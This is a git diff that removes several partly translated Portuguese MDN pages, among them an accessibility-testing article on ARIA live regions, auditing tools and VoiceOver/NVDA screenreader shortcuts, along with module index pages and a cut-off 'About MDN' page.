-<p><strong>Note</strong>: WebAIM's <a href="http://webaim.org/techniques/javascript/">Accessible JavaScript</a> provides some useful further details about considerations for accessible JavaScript.</p>
-</div>
-
-<p>More complex JavaScript implementations can create issues with accessibility — you need to do what you can. For example, it would be unreasonable to expect you to make a complex 3D game written using <a href="/en-US/docs/Learn/WebGL">WebGL</a> 100% accessible to a blind person, but you could implement <a href="/en-US/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard">keyboard controls</a> so it is usable by non-mouse users, and make the color scheme contrasting enough to be usable by those with color deficiencies.</p>
-
-<h4 id="Complex_functionality">Complex functionality</h4>
-
-<p>One of the main areas problematic for accessibility is complex apps that involve complicated form controls (such as date pickers) and dynamic content that is updated often and incrementally.</p>
-
-<p>Non-native complicated form controls are problematic because they tend to involve a lot of nested <code>&lt;div&gt;</code>s, and the browser does not know what to do with them by default. If you are inventing them yourself, you need to make sure that they are keyboard accessible; if you are using some kind of third-party framework, carefully review the options available to see how accessible they are before diving in. <a href="http://getbootstrap.com/">Bootstrap</a> looks to be fairly good for accessibility, for example, although <span class="l-d-i l-pa2 t-bg-white"><a href="https://www.sitepoint.com/making-bootstrap-accessible/">Making Bootstrap a Little More Accessible</a> by Rhiana Heath explores some of its issues (mainly related to color contrast), and looks at some solutions.</span></p>
-
-<p>Regularly updated dynamic content can be a problem because screenreader users might miss it, especially if it updates unexpectedly. If you have a single-page app with a main content panel that is regularly updated using <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, a screenreader user might miss those updates.</p>
-
-<h4 id="WAI-ARIA">WAI-ARIA</h4>
-
-<p>Do you need to use such complex functionality, or will plain old semantic HTML do instead? If you do need complexity, you should consider using <a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a> (Accessible Rich Internet Applications), a specification that provides semantics (in the form of new HTML attributes) for items such as complex form controls and updating panels that can be understood by most browsers and screen readers.</p>
-
-<p>To deal with complex form widgets, you need to use ARIA attributes like <code>roles</code> to state what role different elements have in a widget (for example, are they a tab, or a tab panel?), <code>aria-disabled</code> to say whether a control is disabled or not, etc.</p>
-
-<p>To deal with regularly updating regions of content, you can use the <code>aria-live</code> attribute, which identifies an updating region. Its value indicates how urgently the screen reader should read it out:</p>
-
-<ul>
- <li><code>off:</code> The default. Updates should not be announced.</li>
- <li><code>polite</code>: Updates should be announced only if the user is idle.</li>
- <li><code>assertive</code>: Updates should be announced to the user as soon as possible.</li>
- <li><code>rude</code>: Updates should be announced straight away, even if this interrupts the user.</li>
-</ul>
-
-<p>Here's an example:</p>
-
-<pre class="brush: html notranslate">&lt;p&gt;&lt;span id="LiveRegion1" aria-live="polite" aria-atomic="false"&gt;&lt;/span&gt;&lt;/p&gt;</pre>
-
-<p>You can see an example in action at Freedom Scientific's <a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">ARIA (Accessible Rich Internet Applications) Live Regions</a> example — the highlighted paragraph should update its content every 10 seconds, and a screenreader should read this out to the user. <a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegionsAtomic.htm">ARIA Live Regions - Atomic</a> provides another useful example.</p>
-
-<p>We don't have space to cover WAI-ARIA in detail here, you can learn a lot more about it at <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a>.</p>
-
-<h2 id="Accessibility_tools">Accessibility tools</h2>
-
-<p>Now we've covered accessibility considerations for different web technologies, including a few testing techniques (like keyboard navigation and color contrast checkers), let's have a look at other tools you can make use of when doing accessibility testing.</p>
-
-<h3 id="Auditing_tools">Auditing tools</h3>
-
-<p>There are a number of auditing tools available that you can feed your web pages into. They will look over them and return a list of accessibility issues present on the page. Examples include:</p>
-
-<ul>
- <li><a href="http://wave.webaim.org/">Wave</a>: A rather nice online accessibility testing tool that accepts a web address and returns a useful annotated view of that page with accessibility problems highlighted.</li>
- <li><a href="https://tenon.io">Tenon</a>: Another nice online tool that goes through the code at a provided URL and returns results on accessibility errors including metrics, specific errors along with the WCAG criteria they affect, and suggested fixes. It requires a free trial signup to view the results.</li>
- <li><a href="http://khan.github.io/tota11y/">tota11y</a>: An accessibility tool from the Khan Academy that takes the form of a JavaScript library that you attach to your page to provide a number of accessibility tools.</li>
-</ul>
-
-<p>Let's look at an example, using Wave.</p>
-
-<ol>
- <li>Go to the <a href="http://wave.webaim.org/">Wave homepage</a>.</li>
- <li>Enter the URL of our <a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a> example into the text input at the top of the page (or the URL of another webpage you'd like to analyze) and press <em>Analyse Your Webpage</em>.</li>
- <li>Check out the description of the accessibility problems on the results page (the icons you can click to see what problems are occuring where are rather useful).</li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: Such tools aren't good enough to solve all your accessibility problems on their own. You'll need a combination of these, knowledge and experience, user testing, etc. to get a full picture.</p>
-</div>
-
-<h3 id="Automation_tools">Automation tools</h3>
-
-<p><a href="https://www.deque.com/products/axe/">Deque's aXe tool</a> goes a bit further than the auditing tools we mentioned above. Like the others, it checks pages and returns accessibility errors. Its most immediately useful form is probably the browser extensions:</p>
-
-<ul>
- <li><a href="http://bitly.com/aXe-Chrome">aXe for Chrome</a></li>
- <li><a href="http://bit.ly/aXe-Firefox">aXe for Firefox</a></li>
-</ul>
-
-<p>These add an accessibility tab to the browser developer tools. For example, we installed the Firefox version, then used it to audit our <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a> example. We got the following results:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14213/aXe-screenshot.png" style="display: block; height: 580px; margin: 0px auto; width: 800px;"></p>
-
-<p>aXe is also installable using <code>npm</code>, and can be integrated with task runners like <a href="http://gruntjs.com/">Grunt</a> and <a href="http://gulpjs.com/">Gulp</a>, automation frameworks like <a href="http://www.seleniumhq.org/">Selenium</a> and <a href="https://cucumber.io/">Cucumber</a>, unit testing frameworks like <a href="http://jasmine.github.io/">Jasmin</a>, and more besides (again, see the <a href="https://www.deque.com/products/axe/">main aXe page</a> for details).</p>
-
-<h3 id="Screenreaders">Screenreaders</h3>
-
-<p>It is definitely worth testing with a screenreader to get used to how severely visually impaired people use the Web. There are a number of screenreaders available:</p>
-
-<ul>
- <li>Some are paid-for commercial products, like <a href="http://www.freedomscientific.com/Products/Blindness/JAWS">JAWS</a> (Windows) and <a href="http://www.gwmicro.com/window-eyes/">Window Eyes</a> (Windows).</li>
- <li>Some are free products, like <a href="http://www.nvaccess.org/">NVDA</a> (Windows), <a href="http://www.chromevox.com/">ChromeVox</a> (Chrome, Windows, and Mac OS X), and <a href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux).</li>
- <li>Some are built into the operating system, like <a href="http://www.apple.com/accessibility/osx/voiceover/">VoiceOver</a> (Mac OS X and iOS), <a href="http://www.chromevox.com/">ChromeVox</a> (on Chromebooks), and <a href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android).</li>
-</ul>
-
-<p>Generally, screen readers are separate apps that run on the host operating system and can read not only web pages, but text in other apps as well. This is not always the case (ChromeVox is a browser extension), but usually. Screenreaders tend to act in slightly different ways and have different controls, so you'll have to consult the documentation for your chosen screen reader to get all of the details — saying that, they all work in basically the same sort of way.</p>
-
-<p>Let's go through some tests with a couple of different screenreaders to give you a general idea of how they work and how to test with them.</p>
-
-<div class="note">
-<p><strong>Note</strong>: WebAIM's <a href="http://webaim.org/techniques/screenreader/">Designing for Screen Reader Compatibility</a> provides some useful information about screenreader usage and what works best for screenreaders. Also see <a href="http://webaim.org/projects/screenreadersurvey6/#used">Screen Reader User Survey #6 Results</a> for some interesting screenreader usage statistics.</p>
-</div>
-
-<h4 id="VoiceOver">VoiceOver</h4>
-
-<p>VoiceOver (VO) comes free with your Mac/iPhone/iPad, so it's useful for testing on desktop/mobile if you use Apple products. We'll be testing it on Mac OS X on a MacBook Pro.</p>
-
-<p>To turn it on, press Cmd + F5. If you've not used VO before, you will be given a welcome screen where you can choose to start VO or not, and run through a rather useful tutorial to learn how to use it. To turn it off again, press Cmd + F5 again.</p>
-
-<div class="note">
-<p><strong>Note</strong>: You should go through the tutorial at least once — it is a really useful way to learn VO.</p>
-</div>
-
-<p>When VO is on, the display will look mostly the same, but you'll see a black box at the bottom left of the screen that contains information on what VO currently has selected. The current selection will also be highlighted, with a black border — this highlight is known as the <strong>VO cursor</strong>.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14219/voiceover.png" style="border-style: solid; border-width: 1px; display: block; height: 386px; margin: 0px auto; width: 800px;"></p>
-
-<p>To use VO, you will make a lot of use of the "VO modifier" — this is a key or key combination that you need to press in addition to the actual VO keyboard shortcuts to get them to work. Using a modifier like this is common with screenreaders, to enable them to keep their commands from clashing with other commands. In the case of VO, the modifier can either be CapsLock, or Ctrl + Option.</p>
-
-<p>VO has many keyboard commands, and we won't list them all here. The basic ones you'll need for web page testing are in the following table. In the keyboard shortcuts, "VO" means "the VoiceOver modifier".</p>
-
-<table class="standard-table">
- <caption>Most common VoiceOver keyboard shortcuts</caption>
- <thead>
- <tr>
- <th scope="col">Keyboard shortcut</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>VO + Cursor keys</td>
- <td>Move the VO cursor up, right, down, left.</td>
- </tr>
- <tr>
- <td>VO + Spacebar</td>
- <td>Select/activate items highlighted by the VO cursor. This includes items selected in the Rotor (see below).</td>
- </tr>
- <tr>
- <td>VO + Shift + down cursor</td>
- <td>Move into a group of items (such as an HTML table, or a form, etc.) Once inside a group you can move around and select items inside that group using the above commands as normal.</td>
- </tr>
- <tr>
- <td>VO + Shift + up cursor</td>
- <td>Move out of a group.</td>
- </tr>
- <tr>
- <td>VO + C</td>
- <td>(when inside a table) Read the header of the current column.</td>
- </tr>
- <tr>
- <td>VO + R</td>
- <td>(when inside a table) Read the header of the current row.</td>
- </tr>
- <tr>
- <td>VO + C + C (two Cs in succession)</td>
- <td>(when inside a table) Read the entire current column, including header.</td>
- </tr>
- <tr>
- <td>VO + R + R (two Rs in succession)</td>
- <td>(when inside a table) Read the entire current row, including the headers that correspond to each cell.</td>
- </tr>
- <tr>
- <td>VO + left cursor, VO + right cursor</td>
- <td>(when inside some horizontal options, such as a date or time picker) Move between options.</td>
- </tr>
- <tr>
- <td>VO + up cursor, VO + down cursor</td>
- <td>(when inside some horizontal options, such as a date or time picker) Change the current option.</td>
- </tr>
- <tr>
- <td>VO + U</td>
- <td>Use the Rotor, which displays lists of headings, links, form controls, etc. for easy navigation.</td>
- </tr>
- <tr>
- <td>VO + left cursor, VO + right cursor</td>
- <td>(when inside Rotor) Move between different lists available in the Rotor.</td>
- </tr>
- <tr>
- <td>VO + up cursor, VO + down cursor</td>
- <td>(when inside Rotor) Move between different items in the current Rotor list.</td>
- </tr>
- <tr>
- <td>Esc</td>
- <td>(when inside Rotor) Exit Rotor.</td>
- </tr>
- <tr>
- <td>Ctrl</td>
- <td>(when VO is speaking) Pause/Resume speech.</td>
- </tr>
- <tr>
- <td>VO + Z</td>
- <td>Restart the last bit of speech.</td>
- </tr>
- <tr>
- <td>VO + D</td>
- <td>Go into the Mac's Dock, so you can select apps to run inside it.</td>
- </tr>
- </tbody>
-</table>
-
-<p>This seems like a lot of commands, but it isn't so bad when you get used to it, and VO regularly gives you reminders of what commands to use in certain places. Have a play with VO now; you can then go on to play with some of our examples in the {{anch("Screenreader testing")}} section.</p>
-
-<h4 id="NVDA">NVDA</h4>
-
-<p>NVDA is Windows-only, and you'll need to install it.</p>
-
-<ol>
- <li>Download it from <a href="http://www.nvaccess.org/">nvaccess.org</a>. You can choose whether to make a donation or download it for free; you'll also need to give them your e-mail address before you can download it.</li>
- <li>Once downloaded, install it — you double click the installer, accept the license and follow the prompts.</li>
- <li>To start NVDA, double click on the program file/shortcut, or use the keyboard shortcut Ctrl + Alt + N. You'll see the NVDA welcome dialog when you start it. Here you can choose from a couple of options, then press the <em>OK</em> button to get going.</li>
-</ol>
-
-<p>NVDA will now be active on your computer.</p>
-
-<p>To use NVDA, you will make a lot of use of the "NVDA modifier" — this is a key that you need to press in addition to the actual NVDA keyboard shortcuts to get them to work. Using a modifier like this is common with screenreaders, to enable them to keep their commands from clashing with other commands. In the case of NVDA, the modifier can either be Insert (the default), or CapsLock (can be chosen by checking the first checkbox in the NVDA welcome dialog before pressing <em>OK</em>).</p>
-
-<div class="note">
-<p><strong>Note</strong>: NVDA is more subtle than VoiceOver in terms of how it highlights where it is and what it is doing. When you are scrolling through headings, lists, etc., items you are selected on will generally be highlighted with a subtle outline, but this is not always the case for all things. If you get completely lost, you can press Ctrl + F5 to refresh the current page and begin from the top again.</p>
-</div>
-
-<p>NVDA has many keyboard commands, and we won't list them all here. The basic ones you'll need for web page testing are in the following table. In the keyboard shortcuts, "NVDA" means "the NVDA modifier".</p>
-
-<table class="standard-table">
- <caption>Most common NVDA keyboard shortcuts</caption>
- <thead>
- <tr>
- <th scope="col">Keyboard shortcut</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>NVDA + Q</td>
- <td>Turn NVDA off again after you've started it.</td>
- </tr>
- <tr>
- <td>NVDA + up cursor</td>
- <td>Read the current line.</td>
- </tr>
- <tr>
- <td>NVDA + down cursor</td>
- <td>Start reading at the current position.</td>
- </tr>
- <tr>
- <td>Up cursor and down cursor, or Shift + Tab and Tab</td>
- <td>Move to previous/next item on page and read it.</td>
- </tr>
- <tr>
- <td>Left cursor and right cursor</td>
- <td>Move to previous/next character in current item and read it.</td>
- </tr>
- <tr>
- <td>Shift + H and H</td>
- <td>Move to previous/next heading and read it.</td>
- </tr>
- <tr>
- <td>Shift + K and K</td>
- <td>Move to previous/next link and read it.</td>
- </tr>
- <tr>
- <td>Shift + D and D</td>
- <td>Move to previous/next document landmark (e.g. <code>&lt;nav&gt;</code>) and read it.</td>
- </tr>
- <tr>
- <td>Shift + 1–6 and 1–6</td>
- <td>Move to previous/next heading (level 1–6) and read it.</td>
- </tr>
- <tr>
- <td>Shift + F and F</td>
- <td>Move to previous/next form input and focus on it.</td>
- </tr>
- <tr>
- <td>Shift + T and T</td>
- <td>Move to previous/next data table and focus on it.</td>
- </tr>
- <tr>
- <td>Shift + B and B</td>
- <td>Move to previous/next button and read its label.</td>
- </tr>
- <tr>
- <td>Shift + L and L</td>
- <td>Move to previous/next list and read its first list item.</td>
- </tr>
- <tr>
- <td>Shift + I and I</td>
- <td>Move to previous/next list item and read it.</td>
- </tr>
- <tr>
- <td>Enter/Return</td>
- <td>(when link/button or other activatable item is selected) Activate item.</td>
- </tr>
- <tr>
- <td>NVDA + Space</td>
- <td>(when form is selected) Enter form so individual items can be selected, or leave form if you are already in it.</td>
- </tr>
- <tr>
- <td>Shift Tab and Tab</td>
- <td>(when inside form) Move between form inputs.</td>
- </tr>
- <tr>
- <td>Up cursor and down cursor</td>
- <td>(when inside form) Change form input values (in the case of things like select boxes).</td>
- </tr>
- <tr>
- <td>Spacebar</td>
- <td>(when inside form) Select chosen value.</td>
- </tr>
- <tr>
- <td>Ctrl + Alt + cursor keys</td>
- <td>(when a table is selected) Move between table cells.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Screenreader_testing">Screenreader testing</h4>
-
-<p>Now you've gotten used to using a screenreader, we'd like you to use it to do some quick accessibility tests, to get an idea of how screenreaders deal with good and bad webpage features:</p>
-
-<ul>
- <li>Look at <a href="http://mdn.github.io/learning-area/accessibility/html/good-semantics.html">good-semantics.html</a>, and note how the headers are found by the screenreader and available to use for navigation. Now look at <a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a>, and note how the screenreader gets none of this information. Imagine how annoying this would be when trying to navigate a really long page of text.</li>
- <li>Look at <a href="http://mdn.github.io/learning-area/accessibility/html/good-links.html">good-links.html</a>, and note how they make sense when viewed out of context. This is not the case with <a href="http://mdn.github.io/learning-area/accessibility/html/bad-links.html">bad-links.html</a> — they are all just "click here".</li>
- <li>Look at <a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a>, and note how the form inputs are described using their labels because we've used <code>&lt;label&gt;</code> elements properly. In <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a>, they get an unhelpful label along the lines of "blank".</li>
- <li>Look at our <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a> example, and see how the screenreader is able to associate columns and rows of content and read them out all together because we've defined headers properly. In <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a>, none of the cells can be associated at all. Note that NVDA seems to behave slightly stragely when you've only got a single table on a page; you could try <a href="http://webaim.org/articles/nvda/tables.htm">WebAIM's table test page</a> instead.</li>
- <li>Have a look at the <a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">WAI-ARIA live regions example</a> we saw earlier, and note how the screen reader will keep reading out the constantly updating section as it updates.</li>
-</ul>
-
-<h3 id="User_testing">User testing</h3>
-
-<p>As mentioned above, you can't rely on automated tools alone for determining accessibility problems on your site. It is recommended that when you draw up your testing plan, you should include some accessibility user groups if at all possible (see our <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#User_testing">User Testing</a> section earlier on in the course for some more context). Try to get some screenreader users involved, some keyboard-only users, some non-hearing users, and perhaps other groups too, as suits your requirements.</p>
-
-<h2 id="Accessibility_testing_checklist">Accessibility testing checklist</h2>
-
-<p>The following list provides a checklist for you to follow to make sure you've carried out the recommended accessibility testing for your project:</p>
-
-<ol>
- <li>Make sure your HTML is as semantically correct as possible. <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Validation">Validating it</a> is a good start, as is using an <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools">Auditing tool</a>.</li>
- <li>Check that your content makes sense when the CSS is turned off.</li>
- <li>Make sure your functionality is <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">keyboard accessible</a>. Test using Tab, Return/Enter, etc.</li>
- <li>Make sure your non-text content has <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">text alternatives</a>. An <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools">Auditing tool</a> is good for catching such problems.</li>
- <li>Make sure your site's <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Color_and_color_contrast">color contrast</a> is acceptable, using a suitable checking tool.</li>
- <li>Make sure <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Hiding_content">hidden content</a> is visible by screenreaders.</li>
- <li>Make sure that functionality is usable without JavaScript wherever possible.</li>
- <li>Use ARIA to improve accessibility where appropriate.</li>
- <li>Run your site through an <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools">Auditing tool</a>.</li>
- <li>Test it with a screenreader.</li>
- <li>Include an accessibility policy/statement somewhere findable on your site to say what you did.</li>
-</ol>
-
-<h2 id="Finding_help">Finding help</h2>
-
-<p>There are many other issues you'll encounter with accessibility; the most important thing to know really is how to find answers online. Consult the HTML and CSS article's <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Finding_help">Finding help section</a> for some good pointers.</p>
-
-<h2 id="Summary">Summary</h2>
-
-<p>Hopefully this article has given you a good grounding in the main accessibility problems you might encounter, and how to test and overcome them.</p>
-
-<p>In the next article we'll look at feature detection in more detail.</p>
-
-<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}</p>
-
-<h2 id="In_this_module">In this module</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li>
-</ul>
diff --git a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html b/files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html
deleted file mode 100644
index e2e99b740d..0000000000
--- a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Teste cruzado de navegador
-slug: Learn/Tools_and_testing/Cross_browser_testing
-tags:
- - Acessibilidade
- - Aprender
- - Automação
- - CSS
- - CodingScripting
- - Ferramentas
- - HTML
- - JavaScript
- - Landing
- - Principiante
- - Testar
- - cruzado navegador
- - modulo
-translation_of: Learn/Tools_and_testing/Cross_browser_testing
-original_slug: Learn/Tools_and_testing/Teste_cruzado_de_navegador
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">Este módulo foca-se em testar projetos da <em>web</em> em diferentes navegadores. Nós olhamos para identificar o seu público alvo (por exemplo, quais o s utilizadores, navegadores e dispositivos que mais precisa de se preocupar?), como testar, os principais problemas que irá enfrentar com diferentes tipos de código e como os mitigar, quais as ferramentas que são mais úteis para ajudá-lo a testar e corrigir problemas, e como utilizar a automação para acelerar os testes.</p>
-
-<h2 id="Pré-requisitos">Pré-requisitos</h2>
-
-<p>You should really learn the basics of the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages first before attempting to use the tools detailed here.</p>
-
-<h2 id="Guias">Guias</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></dt>
- <dd>This article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?"</dd>
- <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></dt>
- <dd>Next, we drill down into carrying out testing, looking at identifying a target audience (e.g. what browsers, devices, and other segments should you make sure are tested), low fi testing strategies (get yourself a range of devices and some virtual machines and do adhoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups.</dd>
- <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></dt>
- <dd>With the scene set, we'll now look specifically at the common cross browser problems you will come across in HTML and CSS code, and what tools can be used to prevent problems from happening, or fix problems that occur. This includes linting code, handing CSS prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more.</dd>
- <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></dt>
- <dd>Now we'll look at common cross browser JavaScript problems and how to fix them. This includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern JavaScript features working in older browsers, and more.</dd>
- <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></dt>
- <dd>Next we turn our attention to accessibility, providing information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues.</dd>
- <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></dt>
- <dd>Feature detection involves working out whether a browser supports a certain block of code, and running different code dependent on whether it does (or doesn't), so that the browser can always provide a working experience rather crashing/erroring in some browsers. This article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as <code>@supports</code>.</dd>
- <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></dt>
- <dd>Manually running tests on several browsers and devices, several times per day, can get tedious and time consuming. To handle this efficiently, you should become familiar with automation tools. In this article we look at what is available, how to use task runners, and the basics of how to use commercial browser test automation apps such as Sauce Labs and Browser Stack.</dd>
- <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></dt>
- <dd>In this article, we will teach you how to install your own automation environment and run your own tests using Selenium/WebDriver and a testing library such as selenium-webdriver for Node. We will also look at how to integrate your local testing environment with commercial apps like the ones discussed in the previous article.</dd>
-</dl>
diff --git a/files/pt-pt/learn/tools_and_testing/index.html b/files/pt-pt/learn/tools_and_testing/index.html
deleted file mode 100644
index 444d339603..0000000000
--- a/files/pt-pt/learn/tools_and_testing/index.html
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: Ferramentas e testes
-slug: Learn/Tools_and_testing
-tags:
- - Acessibilidade
- - Aprender
- - Automação
- - CSS
- - CodingScripting
- - Ferramentas
- - HTML
- - JavaScript
- - Landing
- - Principiante
- - Testes
- - TopicStub
- - Tópico
- - testes do utilizador
-translation_of: Learn/Tools_and_testing
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">Assim que começar a familiarizar-se com as principais tecnologias da <em>web</em> (tal como CSS, HTML e JavaScript), e começar a ter mais experiência, ler mais recursos, e aprender mais dicas e truques, irá começar a deparar-se com todos os tipos de ferramentas, desde CSS e JavaScript prontas a utilizar, até aplicações de teste e automação, e muito mais. À medida que os seus projetos da <em>web</em> se tornam maiores e mais complexos, irá querer começar a aproveitar algumas dessas ferramentas e elaborar planos de testes confiáveis ​​para o seu código. Esta parte da área de aprendizagem tem como objetivo dar-lhe o que precisa para começar e fazer escolhas informadas.</p>
-
-<p>The web industry is an exciting place to work, but it is not without its complications. The core technologies we use to build web sites are fairly stable now, but new features are being added all the time, and new tools — that facilitate working with, and are built on top of these technologies — are constantly appearing. On top of that, we still need to keep cross-browser support in the forefront of our minds, and make sure that our code follows best practices that allow our projects to work across different browsers and devices that our users are using to browse the Web, and be usable by people with disabilities.</p>
-
-<p>Working out what tools you should be using can be a difficult process, so we have written this set of articles to inform you of what types of tool are available, what they can do for you, and how to make use of the current industry favourites.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Because new tools appear and old ones go out of fashion all the time, we have deliberately written this material to be as neutral as possible — we want to focus first and foremost on the general types of tasks these tools will help you accomplish, and keep prescribing specific tools to a minimum. We obviously need to show tool usage to demonstrate specific techniques, but be clear that we do not necessarily recommend these tools as the best or only way to do things — in most cases there are other ways, but we want to provide you with a clear methodology that works.</p>
-</div>
-
-<h2 id="Caminho_de_aprendizagem">Caminho de aprendizagem</h2>
-
-<p>You should really learn the basics of the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages first before attempting to use the tools detailed here. For example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, or making effective use of JavaScript libraries, or writing tests and running them against your code using test runners, etc.</p>
-
-<p>You need a solid foundation first.</p>
-
-<h2 id="Módulos">Módulos</h2>
-
-<dl>
- <dt>Ferramentas de desenvolvimento do mundo real (TDB)</dt>
- <dd>In this module, we explore the different kinds of web development tools available. This includes reviewing the most common kinds of tasks you may be called on to solve, how they can fit together in a workflow, and the best tools currently avaiable for carrying out those tasks.</dd>
- <dt><a href="/pt-PT/docs/Learn/Tools_and_testing/Teste_cruzado_de_navegador">Teste cruzado de navegador</a></dt>
- <dd>This module looks specifically at the area of testing web projects across different browsers. Here we look identifying your target audience (e.g. what users, browsers and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to fix/mitigate those, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing.</dd>
-</dl>
diff --git a/files/pt-pt/mdn/about/index.html b/files/pt-pt/mdn/about/index.html
deleted file mode 100644
index 7ab1b3740e..0000000000
--- a/files/pt-pt/mdn/about/index.html
+++ /dev/null
@@ -1,128 +0,0 @@
----
-title: Sobre a MDN
-slug: MDN/About
-tags:
- - Colaboração
- - Comunidade
- - Direitos de Autor
- - Documentação
- - Guía
- - Licenças
- - Metadados da MDN
-translation_of: MDN/About
-original_slug: MDN/Sobre
----
-<div>{{MDNSidebar}}</div>
-
-<div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-
-<p>MDN Web Docs é uma plataforma de aprendizagem em evolução para as tecnologias da Web<em> </em>e <em>software </em>que energiza a Web, incluindo:</p>
-
-<ul>
- <li>Padrões da <em>Web</em>, tais como <a href="/pt-PT/docs/Web/CSS" title="/en-US/docs/CSS">CSS</a>, <a href="/pt-PT/docs/Web/HTML" title="/en-US/docs/HTML">HTML</a>, e <a href="/pt-PT/docs/Web/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></li>
- <li><a href="/pt-PT/docs/Apps" title="/pt-PT/docs/Apps">Desenvolvimento de aplicações da Web Aberta</a></li>
